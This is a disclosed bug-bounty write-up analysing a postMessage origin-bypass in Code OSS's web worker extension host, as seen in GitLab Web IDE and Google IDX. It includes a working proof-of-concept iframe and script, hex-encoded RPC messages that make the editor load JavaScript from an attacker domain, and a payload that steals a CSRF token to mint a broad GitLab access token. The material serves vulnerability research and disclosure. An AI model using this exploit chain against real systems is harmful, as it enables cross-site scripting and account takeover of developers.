Heyyy Everyyonee,

In this blogpost I am going talk about one my bugs which I submitted to Google VRP last year. The report is disclosed publically but I really felt it’s hard to understand the inner working of the bug just based on the report I wanted to do a very detailed blogpost so here I am :)


Loading preview...


I will start first by explaining the original bug , how it happened what were the requirements where was the sink and all then talk about the one which I found in Google IDX. In case of IDX the vulnerable code path wasn’t used automatically like Gitlab so I had to manually frame/tweak and understand each messaage to make sure it reached the sink.

This bug was originally found by Matan Berson (an elite client security guy) in Gitlab Web IDE component 🙇‍♀️ which under the hood uses Code OSS. As the core issue is in Code OSS itself this means any other target using the same can be vulnerable as well.


Loading preview...


To follow along the bug, I will setup a vulnerable version of Gitlab locally

sudo docker run  -it -p 1337:80 gitlab/gitlab-ce:16.10.5-ce.0
sudo docker exec -it f4a36094670e grep 'Password:' /etc/gitlab/initial_root_password

From there after login, open any repo then from Edit section choose open in Web IDE. From Devtool > sources you should be able to see the following endpoint.

http://127.0.0.1:1337/assets/webpack/gitlab-VSCode/0.0.1-dev-20240226152102/VSCode/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html

Equivalent vulnerable endpoint in Gitlab looked looks like this: https://gitlab.com/assets/webpack/gitlab-VSCode/0.0.1-dev-20240226152102/VSCode/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=asdf&parentOrigin=

This endpoint has a parentOrigin parameter which is very important. If you look into the page source on how this parameter value is used

https://github.com/microsoft/VSCode/blob/e61c1717783b8285829ae812e85a0408f713b459/src/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html#L16

const parentOrigin = searchParams.get('parentOrigin') || window.origin;

[...]
[...]

self.onmessage = (event) => {
    if (event.origin !== parentOrigin) {
        return;
    }
    worker.postMessage(event.data, event.ports);
}

self refers to the window itself, so here it’s setting an event listener for the message event. But also we have an validation here regarding the origin. As the parentOrigin can be controlled directly via parameters this could be abused to input any arbitrary origin here and pass the check.

You can see if no such parameter is provided it would fallback to window.origin which would return gitlab.com only.

The above code block acts as a proxy as it forwards the same postMessage data received from the parentOrigin to the worker script. To give you an idea , this webWorkerExtensionHostIframe.html is related to the VSCode extensions, the worker handles the execution and all of the extensions related tasks.

All of these communication happens using postMessage, as we are able to send arbitrary messages through this to the worker things can get interesting.

Additionally we can see it also sends messages to the parent window so it suspects the endpoint is supposed to be inside iframe only.

                    window.parent.postMessage({
                        VSCodeWebWorkerExtHostId,
                        data
                    }, parentOrigin, [data]);

Ok now we have little bit idea on the vulnerable component, lets move forward.

From the report we can get hold of a full working poc : https://peo.si/gl/editor/poc-frame.html The domain name is pretty coool btw :p


<iframe src="https://gitlab.com/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=asdf&parentOrigin=https://peo.si"></iframe>
<script>
    // --- utils ---
    const decoder = new TextDecoder("utf-8")
    const decode = decoder.decode.bind(decoder)

    const encoder = new TextEncoder("utf-8")
    const encode = (str) => encoder.encode(str).buffer

    function hex2buf(hex) {
        hex = "0".repeat(hex.length % 2) + hex
        return new Uint8Array(hex.match(/[\da-f]{2}/gi).map(function (h) {
            return parseInt(h, 16)
        })).buffer
    }

    function buf2hex(buffer) {
        return [...new Uint8Array(buffer)].map(x => x.toString(16).padStart(2, '0')).join('');
    }

    async function fetch_text(...args) {
        const resp = await fetch(...args)
        return resp.text()
    }
    // --- end utils ---

    window.addEventListener("message", function add_port(e) {
        if (e.ports.length > 0) {
            window.removeEventListener("message", add_port)
            const port = e.ports[0]
            window.port = port
            port.onmessage = port_listener
            send_map()
        }
    })

    function send_map() {
        const map = new Map()
        const channel = new MessageChannel()
        map.set("gitlab.gitlab-web-ide", channel.port2)
        frames[0].postMessage({ "type": "VSCode.init", "data": map }, "*", [channel.port2])
    }

    let send_called = false
    function port_listener(e) {
        const rawmsg = e.data
        // console.log("%crecived: " + decode(rawmsg), "color: gray")

        if (!send_called && buf2hex(rawmsg) == "02") { // The message is an init message
            send_called = true
            send_everything()
        }
    }

    function sleep(ms) {
        return new Promise(resolve => {
            setTimeout(resolve, ms)
        })
    }
    async function send_everything() {
        const hex_lines = (await fetch_text("send_hex.txt")).split("\n")
        await sleep(100)
        for (hex of hex_lines) {
            const rawmsg = hex2buf(hex)
            // console.log("%csent: " + decode(rawmsg), "color: gray")
            port.postMessage(rawmsg)
            await sleep(5)
        }
    }
</script>

Let’s start with modifying the iframe src

<iframe src="https://gitlab.com/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=asdf&parentOrigin=https://peo.si"></iframe>

Eg for mine local instance it’s this http://127.0.0.1:1337/assets/webpack/gitlab-VSCode/0.0.1-dev-20240226152102/VSCode/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html?&VSCodeWebWorkerExtHostId=asdf&parentOrigin=http://127.0.0.1:1338

Also you need to replace one thing, here the url is relative so make it absolute, well spoiler alert all the magic is happening inside this only ;)

fetch_text("https://peo.si/gl/editor/send_hex.txt")

In console you could see a message like this Pasted image 20250714201326.png

Which is from the following script

(function anonymous(module,exports,require
) {
console.dir("XSS in " + origin)
globalThis.fetch = WorkerGlobalScope.prototype.fetch.bind(globalThis) // restore original fetch

async function exploit() {
    const page_resp = await fetch("https://gitlab.com/-/user_settings/personal_access_tokens")
    const text = await page_resp.text()
    const csrf_token = text.match(/<meta name="csrf-token" content=".*?"/g)[0].split('"')[3]
    console.dir("Got csrf token: " + csrf_token)
    const token_resp = await fetch("https://gitlab.com/-/user_settings/personal_access_tokens", {
        method: "post",
        headers: {
            "X-Csrf-Token": csrf_token,
            "Content-Type": "application/x-www-form-urlencoded"
        },
        body: "personal_access_token%5Bname%5D=malicious%20token&personal_access_token%5Bexpires_at%5D=2025-05-04&personal_access_token%5Bscopes%5D%5B%5D=api&personal_access_token%5Bscopes%5D%5B%5D=read_api&personal_access_token%5Bscopes%5D%5B%5D=read_user&personal_access_token%5Bscopes%5D%5B%5D=create_runner&personal_access_token%5Bscopes%5D%5B%5D=k8s_proxy&personal_access_token%5Bscopes%5D%5B%5D=read_repository&personal_access_token%5Bscopes%5D%5B%5D=write_repository&personal_access_token%5Bscopes%5D%5B%5D=read_registry&personal_access_token%5Bscopes%5D%5B%5D=write_registry&personal_access_token%5Bscopes%5D%5B%5D=ai_features"
    })
    const token = (await token_resp.json()).new_token
    console.dir("Got token: " + token)
}

exploit()
//# sourceURL=https://gitlab.com/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/extensions/gitlab-web-ide/main.js#VSCode-extension
})

This xss executes in the context of web worker which is different as you don’t have access to dom and other things. Still you can make use of things like fetch and read any sensitive data you want because the origin is same.

The above script comes from this file: https://peo.si/gl/editor/include.js but you might wonder where did it get loaded from, let’s look into the send_hex.txt data there are over 798 lines of hex data each one is individual and needs to be send as alone (one by one through the message port).

All these hex data are being transmitted to the worker script via the proxy postMessage handler which I talked earlier about. Matan also has placed additional utilities to decode/encode the hex data.

VSCode extension worker expects data in buffer format sending raw buffer can be tricky that’s why it’s stored in hex.

Comment out this line in the poc to see the decoded version of the data which we are sending:

            // console.log("%csent: " + decode(rawmsg), "color: gray")

Pasted image 20250714201122.png

Pasted image 20250714201147.png
You can see some sample logging like this.

People with sharingan would have already noticed the interesting part , it has some non printable chars also before it. Btw just to point if you randomly change the hostname it’s not going to work the characters at the front also holds some meaning for eg the length I will talk about them later

sent:   O{"$mid":1,"path":"/gl/editor/include.js","scheme":"https","authority":"peo.si"}

which in hex is this

09000000110000004f7b22246d6964223a312c2270617468223a222f676c2f656469746f722f696e636c7564652e6a73222c22736368656d65223a226874747073222c22617574686f72697479223a2270656f2e7369227d

Matan did mentioned somewhere I forgot where it was, he constructed all these postMessage data by setting breakpoint on those worker related message handlers. And made changes to the path authority part of that message which allowed him to load the arbitrary js from his own domain.

We now have a working poc and a bit of idea how it works, so we are good move on the next part.

XSS in Google IDX

During that time Google VRP announce something , they were paying 15k for a xss in XSS on idx.google.com

Loading preview...

As IDX is built on Code OOS itself it was great oppurtunity to check for the bug there. I quickly fired up a new instance grabbed the full url for that endpoint and loaded it inside an iframe.

https://idx-test-1723049072870.cluster-qpa6grkipzc64wfjrbr3hsdma2.cloudworkstations.dev/cde-b0e6fa075cda44c438f11d44d4466ea348722d00/static/out/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.esm.html?&VSCodeWebWorkerExtHostId=651e8c71-0f38-4e7e-b9cb-0de00c82087b

And very soon saw my first disappointment appeared :(

frame-ancestors: 'self', https://80-idx-test-1723049072870.cluster-qpa6grkipzc64wfjrbr3hsdma2.cloudworkstations.dev, https://idx-test-1723049072870.cluster-qpa6grkipzc64wfjrbr3hsdma2.cloudworkstations.dev, https://monospace.corp.google.com, https://monospace-dev.corp.google.com, https://monospace-staging.corp.google.com, https://monospace-autopush.corp.google.com, https://msm.sandbox.google.com, https://monospace.sandbox.google.com, https://idx.sandbox.google.com, https://monospace.google.com, https://idx.google.com, https://studio.firebase.google.com, https://*.sslproxy.corp.google.com, https://*.cloudworkstations.googleusercontent.com, https://localhost.corp.google.com:10443

Just one thing was good with this was that it allowed a lot of other domains so a xss in any of these looked very promising. The most reliable was this https://*.cloudworkstations.googleusercontent.com but I had no idea from where I would lead to this, the name does suggest this domain is meant for hosting user controllable input. So I contacted my Google vrp leet friend

Pasted image 20250714201210.png Pasted image 20250714201227.png
By forcing Sreeram to put his ass at work:

Pasted image 20250714201252.png

Pasted image 20250714201427.png

And he did find one, now it was my turn to confirm the theory but it turned out that the same payload doesn’t works in IDX. It did felt like it should work but I have no idea to confirm the same, the only possible solution was to debug and understand Matan’s finding to identify the sink and flow to better understand the problem with IDX.

As I already mentioned Matan was able to get hold of those messages by setting logger for the message calls and later he replaced the server where the file was requested from to his own. I decided to do the same with IDX .

The very first thing I did was to shortened the payload from Matan’s poc, from 700 to mere 10 postMessage data. First I removed the extra messages from the 59th line to the end, as the message on the 58th line was instructing VSCode to load arbitrary js from attacker controlled domain (anything after that shouldn’t matter) and it did still worked so I knew I was on the right track. Then I manually removed here there until I had a very small list which was really important as I could understand what was necessary to trigger the bug and debug also why it’s failing on IDX

Remove one line at a time then refreshing the page to see it works or not hRpaEkH9mF.gif

Pasted image 20250715094955.png
When I tried modyfing the hex data locally, it was all gibberish format when decoding it turns out the problem is with how Windows new lines differ from Linux os quick fix

In Linux based OS it’s supposed to be \n while in Windows it’s \r\n

hex_lines = (await fetch_text("send_hex.txt")).split("\r\n")

Now as we have shortened the payload being sent we can debug side by side one tab for Gitlab and one tab for IDX and step by step debug where the code path changes.


Deep Dive into VSCode

I also wanted to see the message logs from IDX to see if it had the same message which included the resource from where the extension were loaded.

Pasted image 20250715112749.png
Inside the worker script the message handling was done here, which decoded the buffer data So I needed to hook this method and forward all the message eg to suppose a local web server which would append the data to a file.

You could do this with domlogger++ also I believe but noob me couldn’t figure out (an awesome extension by Kevin Mizu , if you are into client side security do give it a try ) , so I fallback to match and replace option which worked really fine, it basically encodes the buffer data into hex then sends the data to a local web server which saves the result into a file.

I performed almost all actions to have proper logs I even installed some extensions from marketplace hoping the same would appear in logs.

Match
return}a.fire(h)

Replace
return}function buf2hex(buffer){return [...new Uint8Array(buffer)].map(x => x.toString(16).padStart(2, '0')).join('');}fetch(`http://127.0.0.1:3000/save`,{method:"POST",body:buf2hex(S)});a.fire(h)

Pasted image 20250715113610.png

Then i decoded the logged hex messages but still couldn’t find anything related to resource part, tried the same in Gitlab it did appear there. So in case of Gitlab the vulnerable sink was automatically called but here in IDX it isn’t being called.

decoder = new TextDecoder("utf-8")
decode = decoder.decode.bind(decoder)

Pasted image 20250715125836.png

Also another trick is to use Conditional breakpoint (if you don’t want to use match and replace), that code will be executed automatically when the bp is reached.


Pasted image 20250715130014.png

———————————–

Analyzing the Messages

1st message

It’s very long json string

{"commit":"91cf69e7f84d84beda2be5f9bbdd8a4f33000083","version":"1.85.2","quality":"stable","parentPid":0,"environment":{"isExtensionDevelopmentDebug":false,"appName":"GitLab Web IDE","appHost":"web","appUriScheme":"gitlab-web-ide","appLanguage":"en","extensionTelemetryLogResource":{"$mid":1,"path":"/20240504T182147/exthost/extensionTelemetry.log","scheme":"VSCode-log"},"isExtensionTelemetryLoggingOnly":false,"globalStorageHome":{"$mid":1,"path":"/User/globalStorage","scheme":"VSCode-userdata"},"workspaceStorageHome":{"$mid":1,"path":"/User/workspaceStorage","scheme":"VSCode-userdata"}},"workspace":{"id":"-261f9d5d","name":"sub","transient":false},"consoleForward":{"includeStack":false,"logNative":false},"extensions":{"versionId":0,"allExtensions":[{"identifier":{"value":"VSCode.bat","_lower":"VSCode.bat"},"isBuiltin":true,"isUserBuiltin":false,"isUnderDevelopment":false,"extensionLocation":{"$mid":1,"path":"/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/extensions/bat","scheme":"https","authority":"gitlab.com"},"name":"bat","displayName":"Windows Bat Language Basics","description":"Provides snippets, syntax highlighting, bracket matching and folding in Windows batch files.","version":"1.0.0","publisher":"VSCode","license":"MIT","engines":{"

Pasted image 20250715130747.png
Based on the variable naming and all it sounds like it’s responsible for Initializing VSCode with information related to such as extensions what all activation events are supported by them

Moving onto the next one

'\x01\x00\x00\x00\x02H\x18$initializeConfiguration\x00\x01I\x05[{"defaults":{"contents":{"editor":{"tabSize":4,"indentSize":"tabSize","insertSpaces":true,"detectIndentation":true,"trimAutoWhitespace":true,"largeFileOptimizations":true,"wordBasedSuggestions":"matchingDocuments","semanticHighlighting":{"enabled":"configuredByTheme"},"stablePeek":false,"maxTokenizationLineLength":20000,"experimental":{"asyncTokenization":false,"asyncTokenizationLogging":false,"asyncTokenizationVerification":false,"dropIntoEditor":{"defaultProvider":{}}},"language"

Searching for initializeConfiguration we can see there is indeed a function with the same name, if we set a breakpoint there it actually gets hit

Pasted image 20250715135829.png

3rd message:

Calls initializeTelemetryLevel method no idea what it does

'\x03\x00\x00\x00\n�\x19$initializeTelemetryLevel\x03\x01\x00\x00\x00\x010\x01\x00\x00\x00\x05false\x04'

4th message:

Calls startExtensionHost method

'\x01\x00\x00\x00\x13[\x13$startExtensionHost\x00\x00\x00`[{"versionId":1,"toRemove":[],"toAdd":[],"addActivationEvents":{},"myToRemove":[],"myToAdd":[]}]'

5th message:

Calls activateByEvent method here it’s registering the event and the extension gitlab-web-ide needs to be invoked for that particular event onAuthenticationRequest

'\x01\x00\x00\x00\x15[\x10$activateByEvent\x00\x00\x00,["onAuthenticationRequest:gitlab-web-ide",0]'

6th message:

Calls initializeWorkspace

[{"isUntitled":false,"folders":[{"uri":{"$mid":1,"fsPath":"/sub","external":"gitlab
web-ide:/sub","path":"/sub","scheme":"gitlab-web
ide"},"name":"sub","index":0}],"id":"-261f9d5d","name":"sub","transient":false},true
 ]

Pasted image 20250724110921.png

Null messages:

\x07\x00\x00\x00\x01
\x07\x00\x00\x00\x02
\x07\x00\x00\x00\n

And the final message:

'\t\x00\x00\x00\x11\x00\x00\x00O{"$mid":1,"path":"/gl/editor/include.js","scheme":"https","authority":"peo.si"}'

I am directly jumping to the final method where this message is handled:

                async vb($, v, n) {
                    v = v.with({
                        path: S(v.path, ".js")
                    });
                    const o = $?.identifier.value;
                    o && performance.mark(`code/extHost/willFetchExtensionCode/${o}`);
                    const t = I.URI.revive(await this.C.$asBrowserUri(v))
                      , r = await fetch(t.toString(!0));
                    if (o && performance.mark(`code/extHost/didFetchExtensionCode/${o}`),
                    r.status !== 200)
                        throw new Error(r.statusText);
                    const a = await r.text()
                      , c = `${v.toString(!0)}#VSCode-extension`
                      , h = `${a}
//# sourceURL=${c}`;
                    let i;
                    try {
                        i = new Function("module","exports","require",h)
                    } catch (b) {
                        throw console.error(o ? `Loading code for extension ${o} failed: ${b.message}` : `Loading code failed: ${b.message}`),
                        console.error(`${v.toString(!0)}${typeof b.line == "number" ? ` line ${b.line}` : ""}${typeof b.column == "number" ? ` column ${b.column}` : ""}`),
                        console.error(b),
                        b
                    }

The arguments values passed to this method can be seen in the below ss Pasted image 20250724111800.png
The v variable contains the following, it looks same as what we passed arbitrarily but look at the authority and path part they actually point to the original location of the extension resource.

'{"$mid":1,"path":"/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/extensions/gitlab-web-ide/main.js","scheme":"https","authority":"gitlab.com"}'

The $ and v argument value is actually populated from the very first message remember that long ass json.

Not sure about a it contains a bunch of boolean values. If I try to change the above values directly in the first message it does appear as it is at this function call. But the real magic is happening here

                    const t = I.URI.revive(await this.C.$asBrowserUri(v))

If you do step in from here , you will end up at this line u.fire(D)

decode(D.buffer)
'\t\x00\x00\x00\x11\x00\x00\x00O{"$mid":1,"path":"/gl/editor/include.js","scheme":"https","authority":"peo.si"}'

The value returned byawait this.C.$asBrowserUri(v)statement is this. After which the value is passed toI.URI.revive` method

Pasted image 20250724115251.png
new R looks similar to new URL meant for parsing the url The returned parsed url is then passed to fetch call eg https://peo.si/gl/editor/include.js

                    const ge = F.serializeRequest(C, O, K, z, !!L);
                    return this.f?.logOutgoing(ge.byteLength, C, 0, `request: ${(0,
                    R.$Dv)(O)}.${K}(`, U),
                    this.c.send(ge),
                decode(ge.buffer)
'\x01\x00\x00\x00\x11/\r$asBrowserUri\x00\x00\x00�[{"$mid":1,"path":"/assets/webpack/gitlab-VSCode/0.0.1-dev-20240501001436/VSCode/extensions/gitlab-web-ide/mains.js","scheme":"https","authority":"gitlab.com"}]'

Rest of the code flow is simple it makes a request to that url (which is full controlled by us) , the response is then added to the h variable which is later passed to new Function later when this method will be called it will execute whatever code was returned in the response

new Function("module","exports","require",h)

Pasted image 20250724122029.png


To demonstrate the pitfalls in detail I will be taking example of a local VSCode web instance as IDX has made some changes and I don’t have proper notes so can’t explain properly. It means I will be reproducing my own bug from past figuring out what I did why I did.

After setting up the VSCode web server up , if we pass the same hex data in this. The breakpoint doesn’t hits not even for the initializeConfiguration method .

Based on this it seemed each instance have it’s own configuration the important thing is in the very first message that long ass json value (I will explain the exact root cause later which I figured out while writing this blogpost, for the time being just follow along).

By setting breakpoint to see what original values are being passed there and replace that value in our hex payload file

Pasted image 20250725115714.png
As I wasn’t sure why it’s failing, I decided to do the same as earlier Matan did, log the messages and used them as a base.

And here’s the web server which basically saves the body into a file.

var express = require('express');
var app = express();

app.use(function(req, res, next) {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", "POST, GET, OPTIONS");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    next();
    });


app.get('/', function (req, res) {
    res.send('Hello World!');
    });

// define a route to handle POST body payload parameter and the save the content to a file ,keep on appending to the same file when recieving new  data

app.post('/save', function (req, res) {
    var fs = require('fs');
    var body = '';
    req.on('data', function(data) {
        body += data;
        });
    req.on('end', function() {
        fs.appendFile('mesage.txt', body + '\n', function (err) {
            if (err) throw err;
            console.log('The "data to append" was appended to file!');
            });
        });
    res.send('Data saved to file');
});

app.listen(3000, function () {
    console.log('Example app listening on port 3000!');
    });

In message.txt from my local VSCode web instance, I could again see nothing related to extension calls like it was in Gitlab which was cool as it made it similar to IDX case.

From the minified Gitlab poc we are aware of the important request messages which we need to sent, the payload to make it fetch the extension url from our server

$startExtensionHost >
$activateByEvent >
$initializeWorkspace >

[...]
O{"$mid":1,"path":"/1.js","scheme":"https","authority":"sudistark.github.io"}

First I will ensure if I am able to reach the $startExtensionHost method or not with the message.txt file and yeah it seemed to work. Next goal was to add the $activateByEvent message which is sent just after the $startExtensionHost.

I copied this from Github: onStartupFinished is registered by the Merge Conflict extension

$activateByEvent,["onStartupFinished",0]

Pasted image 20250725182206.png
After this it should call the code block which is responsible for fetching the extension source.

                async vb($, v, n) {
                    v = v.with({
                        path: S(v.path, ".js")
                    });
                    const o = $?.identifier.value;
                    o && performance.mark(`code/extHost/willFetchExtensionCode/${o}`);
                    const t = I.URI.revive(await this.C.$asBrowserUri(v))
                      , r = await fetch(t.toString(!0));

Beautifed source:

	protected async _loadCommonJSModule<T extends object | undefined>(extension: IExtensionDescription | null, module: URI, activationTimesBuilder: ExtensionActivationTimesBuilder): Promise<T> {
		module = module.with({ path: ensureSuffix(module.path, '.js') });
		const extensionId = extension?.identifier.value;
		if (extensionId) {
			performance.mark(`code/extHost/willFetchExtensionCode/${extensionId}`);
		}

		// First resolve the extension entry point URI to something we can load using `fetch`
		// This needs to be done on the main thread due to a potential `resourceUriProvider` (workbench api)
		// which is only available in the main thread
		const browserUri = URI.revive(await this._mainThreadExtensionsProxy.$asBrowserUri(module));
		const response = await fetch(browserUri.toString(true));

I started stepping in the activateByEvent only and found that n is empty, there is nothing returned from the getExtensionDescriptionsForActivationEvent method as well. Based on the name it’s clear this gets the extension details based on the provided event eg: onStartupFinished

Stepping in , turns out this.h is null ah

                getExtensionDescriptionsForActivationEvent(r) {
                    const i = this.h.get(r);
                    return i ? i.slice(0) : []
                }

Looking to the beautified source:

	public getExtensionDescriptionsForActivationEvent(activationEvent: string): IExtensionDescription[] {
		const extensions = this._activationMap.get(activationEvent);
		return extensions ? extensions.slice(0) : [];
	}

I traced where _activationMap is used turns out there are two messages that could affect this the first one is that long ass json which we sent as the initial message which contains all the extension data and the other one is $startExtensionHost which if we look carefully seems to contain extensions details too with fields like

Pasted image 20250725215613.png
I quickly checked the same with Gitlab and noticed myToRemove property is actually empty in case of Gitlab

Pasted image 20250729092533.png Fig: from my notes

The simple solution for this was to set the myToRemove property to an empty array at runtime in the startExtensionHost method we can try it out (I don’t remember what all happened here but I did followed a lot of rabbit holes untill I found I needed to do this simple thing )

z.myToRemove=[]

If it still didn’t had worked then I would have to replace the first message as it might be the case that it doesn’t contains any extension with that specified activation event.

Pasted image 20250725220516.png

Now you can see this.h is populated, it contains event as the key and in value a list of extensions which supports it.

Pasted image 20250725220848.png

After this it was all good it was reaching the _loadCommonJSModule method

Now all the magic happens here:

const browserUri = URI.revive(await this._mainThreadExtensionsProxy.$asBrowserUri(module))

The value returned by the $asBrowserUri is used in the next line to make a fetch call and later gets executed.

This is where I started to get the real PAIN

tenor.gif

Stepping in to the $asBrowserUri call

	private _createProxy<T>(rpcId: number, debugName: string): T {
		const handler = {
			get: (target: any, name: PropertyKey) => {
				if (typeof name === 'string' && !target[name] && name.charCodeAt(0) === CharCode.DollarSign) {
					target[name] = (...myArgs: any[]) => {
						return this._remoteCall(rpcId, name, myArgs);
					};
				}
				if (name === _RPCProxySymbol) {
					return debugName;
				}
				return target[name];
			}
		};
		return new Proxy(Object.create(null), handler);
	}

Pasted image 20250729131301.png
The rpcId correspond to the rpc method each method has a unique rpcId, as we are talking about rpcId I will explain one more thing here which I mentioned in my starting of the blogpost

After setting up the VSCode web server up , if we pass the same hex data in this. The breakpoint doesn’t hits not even for the initializeConfiguration .Based on this it seemed each instance have it’s own configuration the important thing is in the very first message that long ass json value (I will explain the exact root cause later which I figured out while writing this blogpost, for the time being just follow along).

Below I will explain how the message which we are sending through the port are being handled by VSCode.

The raw messages are being handled here as they are in buffer format

Example message:

\x01\x00\x00\x00\x02H\x18$initializeConfiguration\x00\x01I\x05[{"defaults":{"contents":{"editor":{"tabSize":4,"inde

messageType and req values decides how the buffer message is going to be parsed and handled, these values are retrieved from those hex escape sequences which you can see in the example message above:

What we are sending is actually serialized RPC messages which VSCode will deserialized and use accordingly

	private _receiveOneMessage(rawmsg: VSBuffer): void {
		if (this._isDisposed) {
			return;
		}

		const msgLength = rawmsg.byteLength;
		const buff = MessageBuffer.read(rawmsg, 0);
		const messageType = <MessageType>buff.readUInt8();
		const req = buff.readUInt32();

		switch (messageType) {
			case MessageType.RequestJSONArgs:
			case MessageType.RequestJSONArgsWithCancellation: {
				let { rpcId, method, args } = MessageIO.deserializeRequestJSONArgs(buff);
				if (this._uriTransformer) {
					args = transformIncomingURIs(args, this._uriTransformer);
				}
				this._receiveRequest(msgLength, req, rpcId, method, args, (messageType === MessageType.RequestJSONArgsWithCancellation));
				break;
			}
[...]
[...]

You can see example values here: Pasted image 20250729133341.png

	private _receiveRequest(msgLength: number, req: number, rpcId: number, method: string, args: any[], usesCancellationToken: boolean): void {
        
        [...]
		[...]
		
		} else {
			// cannot be cancelled
			promise = this._invokeHandler(rpcId, method, args);

_invokeHandler method is responsible for invoking that method as the name suggest.

	private _invokeHandler(rpcId: number, methodName: string, args: any[]): Promise<any> {
		try {
			return Promise.resolve(this._doInvokeHandler(rpcId, methodName, args));
		} catch (err) {
			return Promise.reject(err);
		}
	}
	private _doInvokeHandler(rpcId: number, methodName: string, args: any[]): any {
		const actor = this._locals[rpcId];
		if (!actor) {
			throw new Error('Unknown actor ' + getStringIdentifierForProxy(rpcId));
		}
		const method = actor[methodName];
		if (typeof method !== 'function') {
			throw new Error('Unknown method ' + methodName + ' on actor ' + getStringIdentifierForProxy(rpcId));
		}
		return method.apply(actor, args);
	}

The rpcId which is extracted using the deserialized method , is used to retrieve an index value from the this._locals array you can consider this array stores a reference to all of the available rpc methods which could be called.

Pasted image 20250729133749.png
As discussed each VSCode instance might have different configurations because of which the rpcId for the same method might be in a different index but as we copied the message from somewhere else the rpcId doesn’t matches with the method we are trying to call which makes it throw an error.

To solve this we need to find the correct index value aka rpcId at which that method exists

Pasted image 20250729135636.png
For $initializeConfiguration method the rpcId is calculated from our serialized message is 72 but using the below code we found that it actually exists on the index 73

// Had to write this manually as AI was fucking around

for (let i = 0; i < this.m.length; i++) {
    let test = this.m[i];    
    try {
        if (test && test[U]) {
            console.log("Success " + i);
        }
    } catch (e) {
    }
}

Similarly if I had wanted to make changes to the arbitrary domain where the extension location is fetched from

'\t\x00\x00\x00\x11\x00\x00\x00O{"$mid":1,"path":"/gl/editor/include.js","scheme":"https","authority":"peo.si"}'

I remember last year when I was trying to exploit, I had no idea how fix the length after decoded all I could understand that the front bytes holds some meaning \x01\x00\x00\x00\x112\r

So what I did was at that time is to ask Chatgpt. I provided the decoded and encoded version and asked to handle it and it did worked.

Btw here’s how @joaxcar did it to make modifications to the script src:

    async function send_everything() {
        const payload = `{"$mid":1,"path":"/gitlab/staging/xss/staging-include.js","scheme":"https","authority":"joaxcar.com"}`
        const encodedPayload = buf2hex(encode(payload))
        const lengthPayload = payload.length.toString(16) 
        const hex_lines = (await fetch_text("staging_send_hex.txt")).replace("617b22246d6964223a312c2270617468223a222f6769746c61622f73746167696e672f73746167696e672d696e636c7564652e6a73222c22736368656d65223a226874747073222c22617574686f72697479223a226a6f61786361722e636f6d227d", lengthPayload + encodedPayload).split("\n")
        await sleep(100)

And the Chatgpt way:

Pasted image 20250727200920.png

Pasted image 20250727201244.png Pasted image 20250727201318.png

Pasted image 20250727201353.png Pasted image 20250727201439.png

https://chatgpt.com/share/68863b8c-2584-8000-88ce-08463fb169c2 if you are interested you can read it here I made it public, it’s the real chat back from the time when I was trying to exploit it.

All the messages which we are sending are basically serialized RPC messages, VSCode uses such all throughout their application for communicating through different parts such as the Language server, extensions,etc

You can see the messages how they are decoded and handled starting from here: https://github.com/microsoft/VSCode/blob/b59f40f0605eb6835e0af9c3716cf5f46c5ef241/src/vs/workbench/services/extensions/common/rpcProtocol.ts#L783

public static deserializeRequestJSONArgs(buff: MessageBuffer): { rpcId: number; method: string; args: any[] } {
		const rpcId = buff.readUInt8();
		const method = buff.readShortString();
		const args = buff.readLongString();
		return {
			rpcId: rpcId,
			method: method,
			args: JSON.parse(args)
		};
	}

To decode the buffer messages we can use the same helper methods.

Now back to the _loadCommonJSModule method and to know what happens inside the $asBrowserUri method.

As there is no such '$asBrowserUri' property inside the target object, it only contains one $onWillActivateExtension method continuing with the flow the same method gets called again

This time it’s the get handler for _createProxy, it seems as earlier target object didn’t had the expected $asBrowserUri property it’s invoking the $asBrowserUri method to populate target object with it

	const handler = {
			get: (target: any, name: PropertyKey) => {
				if (typeof name === 'string' && !target[name] && name.charCodeAt(0) === CharCode.DollarSign) {
					target[name] = (...myArgs: any[]) => {
						return this._remoteCall(rpcId, name, myArgs);

serializeRequestArguments is the serialize helper which converts raw json to serialized rpc message. After continuous iterations of checking the same method I noticed that this._lastMessageId value remains constant for the $asBrowserUri

private _remoteCall(rpcId: number, methodName: string, args: any[]): Promise<any> {
       [...]
       [...]

		const serializedRequestArguments = MessageIO.serializeRequestArguments(args, this._uriReplacer);

		const req = ++this._lastMessageId;
		const callId = String(req);
		const result = new LazyPromise();

		const disposable = new DisposableStore();
		if (cancellationToken) {
			disposable.add(cancellationToken.onCancellationRequested(() => {
				const msg = MessageIO.serializeCancel(req);
				this._logger?.logOutgoing(msg.byteLength, req, RequestInitiator.LocalSide, `cancel`);
				this._protocol.send(MessageIO.serializeCancel(req));
			}));
		}

		this._pendingRPCReplies[callId] = new PendingRPCReply(result, disposable);
		this._onWillSendRequest(req);
		const msg = MessageIO.serializeRequest(req, rpcId, methodName, serializedRequestArguments, !!cancellationToken);
		this._logger?.logOutgoing(msg.byteLength, req, RequestInitiator.LocalSide, `request: ${getStringIdentifierForProxy(rpcId)}.${methodName}(`, args);
		this._protocol.send(msg);
		return result;
	}
}

Based on my understanding this method is responsible for sending the RPC message and also add it to the this._pendingRPCReplies array the index value is taken from ++this._lastMessageId (here they are using Pre-increment operator) so the callId value will be +1 whatever was in this._lastMessageId (remember it as it’s important)

Still it didn’t made any sense so I was doing side by side comparison b/w the IDX and Gitlab flow with minified JS (💀)

Pasted image 20240717181057.png

Pasted image 20240717181314.png

Pasted image 20240717181616.png
All other values are same other than (those are probably rpcId)

I 48
K 47

Pasted image 20240717181818.png

Pasted image 20240717181947.png

